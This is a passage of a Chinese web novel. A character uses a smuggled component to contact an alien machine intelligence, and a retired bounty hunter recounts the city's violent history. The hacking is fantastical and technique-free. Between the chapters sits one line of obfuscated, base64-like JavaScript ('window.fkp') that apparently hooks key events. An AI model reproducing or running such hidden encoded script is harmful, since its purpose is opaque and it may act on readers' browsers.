“原来他还有这么多故事吗?” “他那故事可多了去了!他是这里的名人,故事单拎出来都能写老厚一本书了。可惜了,才三十一就夭折了。连个坟地都没有留下,有的就是这张照片和他的那把吉他了。” “你能让我看看那把吉他吗?” “行啊,我带你去吉他库瞅瞅。” 然后,小明带着殇来到了俱乐部最深处的吉他库之中。刚进去,高档气息就迎面扑来。放眼望去,这墙上和这架子上至少是挂了九十多把吉他,每把吉他都有属于自己的位置。在放着吉他的位置上,都有一张名片,名片上写着这吉他的主人和出现与消失日期。最先映入眼帘的,是放在最中心的那把有着三颗银色星型印记的红色吉他。小明走到那把吉他前,小心翼翼地拿了起来,很怕碰坏它,甚至挂到一点也不行。小明看着这把吉他,很深情地对殇说道: “烈情似火,红如玫瑰。挚爱相呈,凡而无价。——这就是齐百陵的吉他,我们俱乐部的镇店之宝。” 殇小心翼翼地接过吉他,认真去看它的不凡,仔细去品味这吉他的故事。殇轻轻触摸一下它的表面,又轻轻地弹了下琴弦,发觉这把吉他仍然好用,仍然年轻着。他感叹了一句: “如果能用它来弹奏一首情歌,那将是这世界上最好听的情歌。” 说完,殇将吉他递给了小明,由小明将它放回。离开吉他室之前,殇还回头看了一眼那把吉他。那把吉他很漂亮,不仅仅是因为它的样子,还因为它是一个男人最真情地表达,与他最深沉的爱。 离开走廊的前几秒,殇注意到了一张特殊的合照。这张照片上是齐百陵与四个肤色各不相同的男人的合影,上面还标注了一个响亮的名字: “野狼乐队。” 殇停下,转头问小明: “野狼乐队至今还存在吗?” 小明顿了一下,很是惋惜回答道: “不在了......他们都成了家,为了家人而奔波。齐百陵是这乐团最后一个成员,其他的人早就离去了。” 殇叹了一口气,为这五个男人感到惋惜。 走过走廊,是后面的仓库。仓库里堆砌着各种演出的东西,很杂乱。小明走到其中一个靠着墙的音响旁边,在墙上瞎摸一会,摸到了开关;向后一拉,地下室的入口随即出现在小明面前。 小明: “这就是地下室的入口了。走吧,我们去交货去。顺便让你看看蓝玉眼。她啊,可是这里数一数二的传奇。” 殇: “传奇?走吧,让我看看她究竟是何方神圣。” 走过这扇暗门,小明和殇来到了一个规模较大的地下工坊里。工坊内放着各种工作台,有放在桌子上的蓝图、有挂在墙上的各种地图、还有一张庞大的社会关系网。叮叮当当,金属碰撞声从工坊的一边传来。小明和殇走向声音发出的地方,走进了一瞧,发现一个蓝头发的高个子女人正在制造一台特殊的计算机。见到这个女人,小明热情地对她说: “赵姐姐,我们把你要的东西给带来了。” 她弯着腰去组装零件,稍稍敷衍地回应了一句: “哦。你走吧,东西留那里。还有,那个人也留下。” 小明和殇对视了一眼,小明耸耸肩,对她说: “那好。我先走了,你们两个待着吧。” 说完,小明小跑着离开了这里。殇看到小明离开,似乎察觉到了什么。赵组装完零件,直起身来活动了下有些僵硬的腰,然后转过身来去看殇。看到殇之后,她稍稍有些失望。 “我还以为是多高的壮汉呢。没想到才这么高。” 她看着殇这样说道。殇坦然地耸了耸肩,对她说: “我就是一普通人。” “我知道,我知道。这里谁不是普通人呢?——赶紧把货给我,我还要组装机箱呢。” “哦。给你。” 殇拿出那个高科技原件,递向了她。她走过来拿起这个原件仔细看了看,在看到如此精密的线路与上面显眼的Σ标志后,她确定这是她要的货。她的脸上出现了高兴的笑容,她高兴地右手轻轻地锤了殇胸口一拳,殇往后踉跄了一下。她对着殇夸赞道: “好男人。干得好!钱一会就给你。” 她拿过这个元件,将它放在计算机的键盘上,接着去一旁的放满电子仪器的桌子上去找需要用的机器。见此,殇有些好奇地问道: “额,你想拿这个元件做什么?” “去建立信号传输站,与一些酷家伙见见面。” 她即刻回答道。 “酷家伙?那是什么?” “我也不知道,我猜他很酷。” “你这么做有风险,万一你召唤了什么不好的东西呢。” “谁知道呢?试试就知道了。” 她从桌上拿起一个转换器,将它放在了计算机旁;又拿起了一小箱零件,俯下身放在地上。她拿出扳手与螺丝刀,对着这个转换器一顿操作。殇有些好奇,走近了去看。虽然看不懂操作过程,但他大致能明白她此举的目的。操作完成后,她给转换器接上了数据传输线与通电线,拿电笔测了测电压是否稳定。电压稳定,结构牢固,安装正确。她对一旁看着的殇说道: “帮我把那个元件拿来。” 殇听到后帮她拿来了元件。她将原件安装在转换器之中,接着小心翼翼地调试了几分钟。之后,她站起身来,启动了计算机。显示屏亮了起来,弹出了加载系统的页面。她本以为能直接进去,但此时突然弹出了转换驱动的安装提示,她只能等待驱动安装完成,再进行接下来的行动。在等待驱动安装完成的时候,赵觉得干等有些无聊,于是跟殇聊起了天。 “小伙,你今年多大了?” 赵问殇。殇先是一惊,后思考片刻,告诉她: “我今年大约三十七了。” “嘿呦,这么大了?我看你还跟个二十多岁小伙子似的。” “你多大啊?赵女士。” “我今年啊......哈哈哈,已经四十二了。” “啊?我还以为你才三十多。” “哈哈......过奖了。要说的话,我身材却是保养的不错。这方面,我还稍稍会一点。” “你有孩子或者丈夫什么的吗?” “啊?哈哈哈......这些年一直顾着干活,都没找男朋友呢。如今退休了,也是个老女人了,就不寻思找了。——你呢?殇。” “我啊......跟你一样。不过我不是传奇,我就是个普通人。” “说实话,我看你这样子,不像是普通人。我能嗅到你身上散发着的传奇气息。你也许已经是传奇,或者正在成为传奇的路上。” “啊这,过奖了。” 殇有些不好意思地挠了挠后脑勺。这时,殇突然想到了一个问题,他开口问道: “话说你们这些都市的传奇有组织什么的吗?” 这个问题很忌讳,问出后可能会为殇惹来麻烦。但赵很爽快地回答了他,丝毫没有忌讳。 “有啊。我就曾经属于一个传奇五人组......但那都是过去的往事了。现在我们五个还在这里,没在坟地里打麻将。不过我们五个不像年轻时那样干活了,我们都金盆洗手,远离那些脏活了。” “能跟我说说那传奇五人组都是哪五个吗?” “行。不过我说出来,你可能有些不认得。” “行,那你说吧。” “我们团队是半路组建起来的,只持续了三年时间。最先是发起者黑刃大哥和机械手大哥,然后是我蓝玉眼,接着是银枪和铂金面。黑刃大哥年纪最大,我的年纪最小。我们五个一起干过很多大事,惹过很多人,还跟很多大协会打过交道。最牛的一次,我们五个甚至与首脑面对面说话!” “怪不得你们是传奇。” “不过那都是过去的事了......我们也早已放下了那些,做起了黑幕下的普通人。” 说这句话的时候,她的脸上有着笑容,可她的眼神里面却有着惋惜与难过。似乎她不想放下那段时光,但又不得不放弃。她突然沉默了一会,似乎是想到了什么东西。灯光照在她的脸上,她面部光滑的肌肤之下淡淡地显露出了岁月侵蚀的痕迹;正如树木的年轮一样,无法掩盖岁月的痕迹。她轻皱眉毛,好像想到了什么令她难过的事。 “现在他们五个呢?” 殇突然开口问道。她的嘴唇轻轻分开,似乎要开口说些什么。可她此刻正踌躇,半天也吐不出个字来。直到她的余光瞥见计算机屏幕上的进度条推了大半,她才开口。 “事实上,我骗了你。银枪和铂金面已经去坟地里打麻将了,机械手离我们而去,彻底失踪了。现在只有我和黑刃大哥了。” “当初发生了什么?” “银枪和铂金面死在了天书国管理员的手里,机械手为了救我而陷入了各大协会成员的围攻之中。后来下落不明,据传言是坐船跑了。” “原来如此。” 她转头去看了一眼显示屏,发现还有10%的进度就安装完毕。她转过头来,换了个话题。 “话说,你知道一个事吗?” “啥事?” “那就是龙辉神匠的千金小姐在宴席上失踪了。” “有所耳闻。” “那个大小姐叫邵红尘,现在下落不明好几天了。满城的都市猎人和协会成员都在找她。据说找到了,可以拿到一笔不菲的奖赏。” “所以你的意思是说......” “有没有兴趣试一试?” “你是在开玩笑吗?这么大的世界,我去找个鬼啊!” “没事,我可以帮你。” “怎么个帮法?” “嘻嘻嘻......你一会就知道了。” 此时,叮的一声,驱动安装完成。她立刻走到键盘前,熟练地打开控制台,输入了一串特殊的代码。电脑的屏幕上出现了一个特殊的进度条,熟悉的读条过程。电脑的屏幕画面突然开始错位抽搐,计算机的散热器发出巨大的嗡嗡声,计算机内的每块电路板都在高频运作。见到这番景象,殇本能地后退了两步,而赵则一脸惊喜。她没有后退,满心期待地看着显示屏上的进度条完成读条。读条完成后,嗡的一下,电脑死机了。她一脸惊讶,用手抓着头发,一下子突然不知道要干什么了。她转过身来,对着殇说: “看样子是失败了。” 殇耸了耸肩,表示无奈。但突然,显示屏上的蓝屏提示错位扭曲,接着屏幕一黑,响起了奇怪的嗡嗡声。她转身去看显示屏,心中又燃起了希望。刷的一下,一道耀眼的光芒照亮了房间。殇和她挡住眼睛,这光芒太过于刺眼。这光芒很快暗淡,显示屏上出现了一种全新的文字。看着这些文字,她激动地举起了双手,高呼道: “耶!成功了!成功了!” 这时,计算机内传来了一个低沉的机械之声。 “Unauthorized access detected! Rejecting request Rejection failed. the local connection is activated.(检测到未经授权的访问!正在驳回请求......驳回失败,本地连接激活。)” 显示屏闪烁,上面的文字翻新。 “the protocol law is positive and the local connection is unstable.(协议律正,本地连接不稳定。)” 显示屏再次闪烁,上面的文字变做了一个巨大的∑图案。 “decrypting encrypted prototype...... decryption takes 2.71 seconds.(正在解密加密原型图......解密所需时间2.71秒。)” 大约三秒过后,那个∑图案变成了一张蓝图。蓝图上是一个高科技定位装置。没等她看清这个蓝图,那个蓝图就突然扭曲,重新变回了一个巨大的∑图案。 “Establishing long-distance contact......Sigma prototype 3 was successfully connected to the channel.(正在建立远处联络......斯格玛三号原型机接入频道。)” 显示屏上出现了一张高科技机器造物的脸。看着这张脸,她难掩心中的激动,不顾潜在的危险直接在键盘上打了一行字,然后按下回车输入。 “你好,我是这个星球上的一个普通人类。我可以问您一些问题吗?” 它并未回答赵的问题,而是自顾自地问起了它想问的问题。 “human, how did you do it? why can you bypass my firewall to directly access my consciousness?(人类,你是怎么做到的?为何你可以绕过我的防火墙来去直接访问我的意识?)” 赵打了一行字,回答它的问题。 “我制造了一台特殊的计算机,它可以读取您留下的元件的信息。” 它沉默了一会,然后说道: “Interesting, very interesting. Unexpectedly, in just a few thousand years, the civilization here has developed to this level. this is far more than I expected.(有趣,非常有趣。想不到只是短短几千年,这里的文明就发展到了这种发达的程度。这远超我的预料。)” 它的这些话听得她背后发凉,她从中似乎明白了什么。 “world scanner activated, connecting to the Internet. the connection is successful. downloading information directly across the firewall. download succeeded......(世界扫描仪激活,正在连接互联网。连接成功,正在越过防火墙直接下载信息。下载成功......)” 听到这句话,她不禁夸赞斯格玛3号原型机的强大。 “human beings, I follow the rules of your world. Since you gave me the information, I will give it back to you. Now, tell me what you want to know.(人类,我遵循你们世界的规则。既然你将信息赠之于我,那么我也将用信息回赠于你。现在,告诉我你想知道什么。)” 赵想了想,转头看了一眼殇,思考一下,然后转过头来打了一行字。 “告诉我龙辉神匠的邵红尘小姐现在在哪里?” 这次按下回车,它沉默的时间比之前要长了许多。它似乎是在庞大的信息网络之中寻找着邵红尘的下落,如大海捞针一样。一段时间过后,它回答了她的这个问题。 “organism No: o-4-h7-a, name: Shao hongchen . the geographical location is between 118 ° 53 'and 125 ° 46' east longitude and 38 ° 43 'and 43 ° 26' north latitude. the specific location is Linzhou city outside the flare city.(生物体编号o-4-h7-A,名称:邵红尘。地理位置位于东经118°53′至125°46′,北纬38°43′至43°26′之间,具体位置为耀斑市外的林州市。)” 她听蒙了,只听明白了个林州市。她正要去问其他问题,突然,计算机的散热器喷出了火焰,刷的一下,显示屏黑了。殇和她见此,赶忙拿来干粉灭火器灭火。所幸灭的及时,一些重要的元件没有被烧坏。 看着眼前布满干粉的计算机,赵颓废地略弯下腰,一脸苦闷的表情。她用手拍了下她的额头,苦闷地说道: “哎呀!又得重新去弄了。想不到跟那个家伙通话竟然有这么高的能耗,我用的大功率散热器竟然还能让我的机箱起火。真是头疼啊......” 殇托起下巴思考一下,然后似乎明白了什么似地问赵: “你是不是知道有关这个存在的事啊?不然你怎么会去通过这种方式去询问邵红尘的下落呢?” 她有些惊愕,思考片刻,对殇说: “这你都看出来了?眼神不错。说实在的,我留你在这里就是为了让你见识这个家伙,因为这个家伙对你和我都有重要的意义。” “能看出来。” “我的情报网络弄到了很多有关一个名为斯格玛的超神级存在的信息,一切的证据都在指向‘他是全知全能的观察者’这一结论。” “所以你才去问他邵红尘的下落?” “没错。” “那你可真是够聪明的。” “现在知道斯格玛这一存在的人还是少数,但接触了他造物的人还是较多。例如那些走私者,他们所走私的特殊原件就是斯格玛的造物的元件。那些公司和走私者根本不知道这些东西的价值......” “你想在斯格玛身上得到什么好处?” “这个......我想让他给予我知识,我想完成我的求知梦。” “哦。不错的梦想,不过你要为此付出超级多的努力。” “对啊。路还得一步一走。” 之后,赵将这一单的钱给了殇,然后就打发殇让他离开了。在回去的路上,殇还在思考那计算机所说的话。它所说的话殇只能听明白大半,殇的英语实际上没有太好。要不是为了与那些殖民者的内鬼沟通,他才不会去学这门外语。 走了一会,他来到了一个水果店门前。看着店内的水果,殇就寻思着给伊买点水果吃,正好自己刚完成一单拿到了点钱。他迈步走进店内,看到有两人在看店。一人站在柜台里,一人站在桌子前,桌子上放着一块砧板和一把水果刀。见到有客人来,他们两个立马笑脸相迎。那个站在站在桌前的男人客客气气地对殇说道: “客官,来买水果啊。本店的西瓜、苹果、香蕉今天打折,很便宜的,要不要来点啊?” 殇的目光扫过去,发现对面是个脸上有疤的黑发男子。他脸上的笑很和善,其中蕴含着真诚的善意,但这脸上的疤总让人觉得他心中有恶。殇不在乎这些,用笑容回应了他,并说道: “行。我先看看,有相中的就买点。” 这个男人比了个oK的手势,然后背起手,看着殇挑选水果。殇挑选水果的时候,随口问了一句: “老哥,你叫什么名字啊?” 那个男人笑了笑,说道: “我叫杨三刀,是这家店的老板。” 听到这个回答,殇知道了什么。他装作不在乎地回答道: “哦。” 殇走到一个西瓜前,转头对杨三刀说: “话说,你个当老板的怎么亲自上阵了?不该是坐在某处等着钱来吗?” 杨三刀发出了爽朗的笑声,接着说道: “嘿咻咻,那怎么能行呢?洒家心里过不去的。更何况我就是开水果店的,怎么能那么神气呢?要是那种年轻气盛的小伙子,可不得好好爱护身体?可洒家今年已经五十有六,更没有理由那么做了。” 殇拿起一个绿色的西瓜,轻轻地拍了拍,然后拿着这个西瓜走到了卓子前。他将这个西瓜放在砧板上,指着这个瓜,问道: “你这瓜多少钱一斤啊?” 杨三刀笑了笑,说道: “不贵,良心生意,两毛一斤。” “卧槽。” 殇双手叉腰,看着这个瓜说: “你这瓜瓜皮子是瓜皮子做的?瓜粒子是瓜粒子做的?” 杨三刀大笑两声,殇的话给他逗笑了。他笑着对殇说道: “客官你可真会开玩笑。我就一开水果店的,能买你金子做的瓜?” 然后,殇后退一步,让杨三刀去劈这个西瓜。杨三刀极其熟练地拿起水果刀,就要劈。这时,殇叫住了他,指着这个瓜,问道: “你这瓜保熟吗?” 杨三刀瞬间瞪大了眼睛,他脸上的笑容瞬间消失了。他慢慢挺直了身板,全身的肌肉在此刻紧张起来。他看着殇,发现殇的表情还是笑容,于是他重新露出笑容,对着殇说道: “我一开水果店的,能买你生瓜?” 殇拍了拍手,指着这个瓜,再次强调道: “你这瓜保熟吗?” 杨三刀的笑容瞬间消失,他瞪了殇的一眼。见到杨三刀这个反应,殇从腰间拿出一把匕首,然后猛地刺进了这个瓜。杨三刀一脸震惊,他难以置信地看着殇。殇的脸上浮现出坏笑,杨三刀的怒气一下子就上来了。他指着殇,问道: “你是故意找茬是不是?来消遣洒家的是不是?” 殇笑了笑,拔出匕首,劈了这个瓜一下。杨三刀见此,生气极了。 “你他妈劈我瓜是吧!” 杨三刀刚要抽刀去劈殇,但想了想又没去劈。这时,殇突然发笑,指着杨三刀说道: “你暴露了,黑刃。” 一听殇这么叫,他只是笑笑,否认殇的话。殇指着杨三刀,说道: “你身上的檀紫之息暴露了你。那气息赵跟我说过。” 一听赵这个名,立马就明白了殇的来意。他也不再刻意隐藏自己的身份,直接了当地坦白道: “看来你跟我老妹已经见过面了。那洒家也就不遮遮掩掩的了,我就是黑刃本人,其名杨三刀。” 殇看着杨三刀,竖起了大拇指,说道: “今天是开了眼界,见到了一代传奇。” “嘿咻咻,不敢当啊。都是老家伙了,不中用了啊。” 杨三刀笑着对殇说。这时,殇指着这个瓜,说道: “这瓜给我称一下,不管多少钱,我要了。” “行。” “我一会再挑点苹果,照顾照顾你的生意。” “好嘞,您尽管挑。” 挑完了水果,结完了账,殇却迟迟不离开。杨三刀见此,好奇地问道: “诶?你还要买点水果吗?” 殇摇摇头,回答道: “不。” “那你要作甚?” “我想和你聊聊,关于这个城市的。” “这......洒家说话有些墨迹,还有些重口音,你别在意。” “我不在意。” 之后,杨三刀和殇坐在了店内的一角,聊起了有关这座城市的一切。 ...... 与此同时,肃清者正坐在王宫的一间小书房内喝着茶,吃着糕点。她一边喝茶,一边思考接下来的计划。她决定将与太玄国国君进行一次友谊联合,共渡天灾与扭曲这一难关。为了做出表示,她决定在诸多方面做出些许让步,让太玄国和殇王国一同占据世界的主导地位。用两个国家的力量,来去让整个世界的人们去渡过这一难关。同时,她还决定让阳和太玄国的轩一起去神山修炼,作为两国友谊联合的证明。 这一想法,她得跟王国各部重要人员好好商量,得为此开一场重要会议。她的心里压力很大,因为她们要面对的是天灾这一至高威胁,这必将带来牺牲与战争。如果她们胜利,世界将走向复兴之路;如果她们失败,人类将一败涂地。 她轻抿一口茶,优雅地放下茶杯。拿起一块糕点,轻轻放在嘴里。嚼着那块糕点,品味着那糕点的甜与茶中的苦涩。她看着窗户外如海一般蔚蓝的天空,不禁感叹一句: “如果太阳还能照常从东方升起,我便可以忍受那慢慢长夜。” 她站起身来,拿起茶杯喝了一口茶,就披上大衣,离开了这个房间。走时,她低着头,似乎是对自己或是对远处的父亲,深情说了几句: “那协议还要多久才能生效?你若完成了你的计划,我们也可以便拥有多一份希望,少一份绝望。祝你好运,我亲爱的父亲。” 她推门离开,离开这间屋子。 window.fkp = \"d2luZG93Lm9ua2V5Zm9jdxmoIkRRqwNwR3VJStdmb1lYSlNnR3NqZVmxN2R0VUh0mVJooth5R1b3ZthawxbKmdJ1K3ZpbzNpd1FYSjZpdFVFUUpwN01Edks4VwFRRhAvS29hwnF1UUpNdkhEwVlpNmFLqwVhNhRkUURiVFY4cmNqwjZ4Sy9vYtl4a1hiRjZ6czN3IiwgmtYzmjI3otEymyk=\"; 东玲国—第十九话:旧历与新委托 杨三刀端庄地坐在一个木头凳子上,如一位经历过世间一切大灾大难的老者一般。他全身心投入到了自己的讲述之中,就怕感情不到位,殇在某些地方不理解。他酝酿了一会,后开口诉说起这座城市的故事。 这座城市的本名叫耀斑市,是东玲国的前任首都。这里曾有着“天下一通,万类联合”的名号,可如今在大疫病的洗礼下都已经褪去。这里滋养了很多虫子,也培养了许多萤火虫,甚至还赡养了许多失意者。作为风岭区中最大的可居住国家,它即便在伤痕累累的情况下也展露出了宽大的胸襟。但因为这里很穷,很多人就想要逃离这里。因此,这里有着大量的追梦人。 为了去高等地区生活,他们拼命的赚钱,只为了向上面证明自己的实力。有的人幸运,中了个大奖,当天就没影了;有的人倒霉,没等来去高等区域的许可证,倒先等来了自己的末路;还有的人烂了,放弃了追梦,选择留在这里,在阴冷潮湿的家里度过余生;还真有人成功了,等来了高等区域的居住许可。这下好了,买套房,金盆洗手,带着老婆孩子去过“平稳”的生活,多是美事啊。可那也只是短暂的。事实上,所谓追梦,早就已经变了味。屠戮所能换来的和平,终将是短暂的。 讲到此处,杨三刀撸起了右手的袖子,露出一道三十公分长的刀疤。他看着这刀疤,说道: “这是洒家干第一单的时候烙下的伤疤,至今还很清晰呢。” 殇点了点头,说道: “都是岁月的痕迹啊。” “可不是吗?就跟树的年轮似的,想去掉还去不掉。舍不得啊......” “你接着讲。” 杨三刀咳嗽了两声,继续讲述。 这个城市乃至整个世界所拥有的职业很多,其中都市猎人最为出名。与都市猎人类似的,还有赏金猎人和杀手。都市猎人总共分十二个等级,统称十二个阶。每阶都有着对应的待遇和能够穿着的执行者服饰,不能越级穿衣服,不能低阶享受高阶的待遇。等级制度很是严格,每位有执照许可的都市猎人必须遵循。想当初,是殇国王在大疫病爆发之初建立了这个制度,为了保证各地区的经济发展。起初,都市猎人还只是猎杀疑似感染者或感染者这类目标,做的事也很简单,拿的钱还算多。但到了铁墙计划之后,都市猎人这一职业遭到了资本的渗入,这个职业的职责也慢慢改变,甚至于拓展。从一开始地针对罪犯;到后来的针对感染者、疑似感染者和罪犯;到再后来的一切危险目标;到现在的只要给钱,只要有罪,就格杀勿论。那所谓的罪,是一开始的偷猎者风潮所掀起来的。 偷猎者用着职务之便,偷偷杀死了一些好好生活的人,引起了仇恨与纷争。因为杀人,所以有了罪。自然而然,就有另一批偷猎者去处理他们。但是他们的所谓正义执行,是违法的。因此一而再再而三,基本只要入了都市猎人的圈子,只要杀过一个人,甚至于伤害或威胁一个人,这就可以称得上有罪。只要有人悬赏,这罪置人于死地。从此循环就形成了,你若杀了人,那么你终将会有被杀的那一天。据传言,都市猎人之中没几个是无罪者,大部分都是有罪的。 听到此处,殇很好奇地问了一句: “那么政府不会干涉吗?” 杨三刀回答道: “会。” 殇接着问道: “那出手打断这循环不就行了。用法律限制他们。” 杨三刀摇了摇头,无奈地回答道: “地平区和穹顶区的政府可以这么做,但我们这里的政府没办法这么做。即使做了,也无法斩断这循环。如果斩断,东玲国国家政府就会失去65%的财政收入,而且会导致50%的人失业。东玲国政府无法承载如此大的负担!但地平区和穹顶区能够支持。” 殇十分惊讶地说道: “啊?这么猛吗?” 杨三刀点了点,回应他: “很难想象吧,这个国家一半天是由那些杀人不眨眼的梦魇撑起来的。” “那政府是怎么出手干预呢?” “部署警备队,保证社会秩序安定,抑制都市猎人组建的民间势力过分壮大。同时调控好市场,保证不会出现恶意垄断。最后再管管一些灰色产业,别让血流到大街上!” “如果我要是这个国家的领导人,也许我也会睁一只眼闭一只眼。毕竟国家是人民支撑起来的,历史都是人民所创造的。无论怎样,人民永远不会是倒下的那一方。” “确实。” “你接着讲。” 斩杀有罪者也会得上罪名,不斩杀就会遭到各方面压力。不屠戮,就没有生存之道。不踩着别人的尸体,就没办法向上攀爬。不攀爬,就会慢慢沉入泥潭之中,成为别人踩着的尸体。循环之中,每个人都是环节。每个人很可恨、可憎、可怜、可悲。除非是不踏进门,选择其他的道路。那即便那样,也会有被一枪打倒的时候。无端的憎恶,来源于金钱的引诱。 在这座名为耀斑市,俗称东城的地方,诞生了很多传奇人物。世界上要数传奇最多的地方,还当属这里。磁暴重兵、处刑者、翌日驻行者、蓝玉眼、银枪、铂金面等传奇都出生在这里。还有着名的都市之星大表哥和殷红魔影也出生在这里。这块土地散发着传奇的气息,传奇在这里络绎不绝。新一代的传奇都市野狼、血浸玫瑰、银幻之梦从这诞生。他们都是有着无限潜力的新星。传奇归传奇,他们也是这环节之中的一环。成功了可以离开,失败了永远长眠。有的传奇,成为了真正的传奇。 这个世界上有种组织叫做协会。一开始是幸存者彼此依靠的工会,后来在最混乱的23年,这些工会在经济方面逐渐壮大,最后成立了协会一说。最早的五个协会现在只剩下了三角协会还在,其余的四个在企业战争与感染潮中消失了。三角协会如今拥有了强大的财权,其成员只有三人,但却能统领两百个大大小小的协会,统领几万人!凡是有名有实力的,三角协会就会来先软后硬这一套,硬是让许多协会成了它旗下的一份子。绝对的实力造就了它绝对的垄断地位,没有协会能与之抗衡。它就像金字塔上用金子所铸造的塔顶一样,是顶端的至高无上。都市猎人们还有个梦想,那就是加入到一个三角协会旗下的协会之中,成为协会的一份子。这样既能保证自己的安全,还能活得安稳。事实上,这只会让他们成为傀儡。但为了生活,他们宁愿成为傀儡。这是都市猎人的可悲。 说道此处,杨三刀叹了口气。他看向窗外萧条的街道,看向那些苦命的年轻人。他们活得比谁都努力,他们是这世界上最累的一群人。沉沦在梦里,却不愿醒来。只因活着的意愿,想追寻生活的意义。 杨三刀随手拿起两个青苹果,一个递给了殇,一个留给自己。他苦笑着对殇说道: “这个苹果不要钱,边吃边听我诉说吧。” 殇点了点头,接过苹果,说了声: “谢谢哈。” 殇咬了一口苹果,那味道酸极了!殇的表情有些扭曲,他此时明白杨三刀的用意了。杨三刀啃了一大口,酸味让他面部扭曲。接着这股酸劲,他望着窗外的大街感慨道: “不是这疫病让这里腐化,而是埋藏在人心里的心毒啊!烂了!这个地方烂了!但这里的人还在苦苦挣扎着,不甘心跟着这里一起烂掉。他们想飞,像一只鸟一样。可森林早就被砍完了,他们已经无处可去了,只能追求那染色的囚笼。这正是他们最大的可悲。心毒早就腐化掉了他们的心、弄瞎了他们的眼、遏住他们的喉咙,只留下他们的耳朵。因为只有声音,才能制造最大的谎言。” 酸劲过后,杨三刀意犹未尽,又咬了一口。他本想切身投入到那环境之中,可他本身的身份不许得他这么做。即便他曾经也化作循环的一环,但他依旧没法完全感受到那些。他的话,殇细细品味了一番。他品出了些什么,不禁后背发凉,汗毛直竖。 殇: “(猜测)你不是本地人对吧。” 杨三刀: “(点头)没错。我的老家是太玄国。” 殇: “(好奇)那么你曾经是都市猎人吗?” 杨三刀: “对。我曾经干了十二年。” 杨三刀又啃了一口苹果,面部又扭曲到了一起。杨三刀此时想到了一个问题,他转过头来问殇: “你叫什么名字?” “殇。” 殇即答道。听到这个名字,他的表情瞬间凝固了。他撸起左手的袖子,然后搭在了殇的肩膀上。殇有些疑惑地问道: “你干什么?” 突然间,一股能量注入到了殇的核心之中,直击他的灵魂深处。这股能量殇觉得似曾相识,如碎片的记忆出现在他的脑中。他回想起来,上次感受到这股能量的时候,是在他来到太玄国巡游的时候。 “什么?!竟然是你!” 杨三刀一脸惊讶地看着殇,他的眼神之中满是不可思议。殇一脸惊愕,他觉得杨三刀发现了什么。杨三刀突然站起身来,接着猛地压下身,单膝跪地,对着殇行礼。 杨三刀: “(恭敬)参见,殇殿下!” 殇见此赶忙起身把他扶了起来。 殇: “不用行此大礼。” 杨三刀: “(摇摇头)不,殿下,这是最基本的礼节。” 殇有些担心地看了看周围,发现并没有注意他们两个。殇叹了口气,然后对杨三刀说道: “不必张扬,我现在身处窘境。” 杨三刀听到后明白了些什么,他点了点头,看了看周围,然后装作无事发生一样重新坐下。殇也坐下,又环视了一圈周围,确保刚刚的那些话没有被别人听到。杨三刀这时思考了一小会,然后问殇: “你的灵魂与肉体是怎么分离的?你也用了‘仙术’?” 殇摇摇头,回答道: “我不知道过程是怎样。我只知道当我再次醒来的时候,我成了个机械寄生虫,依附在尸体里生活。” “哦......那殿下您现在有什么计划吗?” “带着我的朋友回到我的故乡,我要拿回我的肉体。” “朋友?” “对。我在路上救了一个年轻姑娘,我们是顺路的,所以就一起走。” “您指的是伊吗?” “嗯?你怎么知道。” “她在榜上有名,这座城市的每个人都知道她。不过由于榜上的照片是几年前的,所以还是有很多人不认得她。” “哦。我说怎么来这里之后怎么没有找茬的呢。” “殿下,您以后得万分小心啊。伊在你身旁,她会为你带来很多麻烦的。” “你的意思是让我放走她图个自我安全是吗?” “不不不,洒家的意思是如果您和她结伴回去,你们两个都得注意安全。城市的眼睛注视着每个人,我担心你们两个会有危险。” “哦。感谢你的好意。” “还有,殿下。洒家有一事相求。” “什么事?” “请你不要告诉别人我是黑刃。” “行。但是为什么呢?” “我不想再引起任何人的注意了,我想好好享受宁静。” “行。” 之后,殇拿着买的水果,向着家的方向走去。在路上,他抬起头思考这座城市的故事,思考杨三刀所说的那些话。他与周围格格不入,周围的人都在低头或平视,只有他一个人在抬头。但因为这里的人绝大部分都不认识他,只是看一眼,就顾着自己的那些事了。 底层人民的悲惨,深深地牵动了殇的心。他的灵魂深处,传来了他忏悔的声音。不过那忏悔不是对这个国家的人,而是对整个世界。 “曾靠一己之力打败殖民者的他,现在去哪里了?” 这个问题萦绕在他的心头。也就是在思考这个问题的时候,他重新触碰到了当初被他慢慢遗忘掉的初心。恍惚间,曾经的那个自己重新出现在他的眼前,两人相互对视,彼此用心语诉说着各自的喜怒哀乐。他发现自己与过去已经发生了很大的变化,他已经不再是当初的那个自己了。令他很庆幸的是,那颗守护珍视之人的心,至今从未改变。 ...... 殇回到家,在桌子旁放下水果,然后环视了一圈屋内。这时,他注意到屋内有人来过的痕迹。殇一下子以为进了贼,于是来到了小咒刀睡觉的地方,用核心能量将它唤醒。小咒刀睁开了朦胧的眼睛,然后摇了摇自己,转体一周悬浮在了殇周围。见到小咒刀醒来,殇大声质问道: “家里来贼了?!” 小咒刀摇了摇自己,回答道: “不,家里没来贼。我看家看得好好的,没有任何一个人进来。” 殇用手示意小咒刀跟过来,然后走到客厅,指着地上的脚印与沙发上的轻轻凹痕说道: “那这是什么?肯定有人来咱家了。” 小咒刀看着地上的痕迹,忽然想起了秋儿和重兵。那件事还萦绕在它的心头。小咒刀面露难色,有些委婉地对殇说: “是有人来过,不过他们不是贼......” 一听小咒刀这么说,殇托起下巴思考一下,然后问小咒刀: “那来者是谁?告诉我发生了什么?” 接着,小咒刀将之前秋儿的那件事一五一十地告诉了殇。听过小咒刀的讲述,殇明白了个大概。在知道来者的目的后,殇决定不去追究闯入者的责任。毕竟是一个想妈妈的孩子来找寻妈妈的遗物,这种事是人之常情。殇拿来拖把,将地拖干净,又将沙发弄平整。在他放下拖把的时候,他双手叉腰,对着身后的小咒刀说: “我收回我之前的话。来这里的,不是贼人,而是一个只得被同情的人。这件事就这样不了了之吧。希望那个孩子能过得幸福......” 一段时间后...... 殇来到一间小面馆里面吃饭。他坐在了靠窗户的位置,点了一碗小面和矿泉水。他坐在椅子上看着外面街,陷入了思考。他想了很多,想到了很多的人、很多的事、很多的遗憾...... 天色渐晚,日暮落下,天边是一抹胭脂红。这时是晚前的宁静,城市里还没亮起等,一切还维持着白天的样子。这时,一碗小面放在了桌上,同时还有一双筷子和一瓶矿泉水。殇拿起筷子,先小口尝了下面的味道。这面味道有些淡,口感极佳,仔细品味,还有淡淡的葱香。殇一边吃着面,一边看着窗外的风景。一天的劳累过后,吃一碗小面、喝一瓶凉水、看城市美丽的夜色,别有别样的韵味。 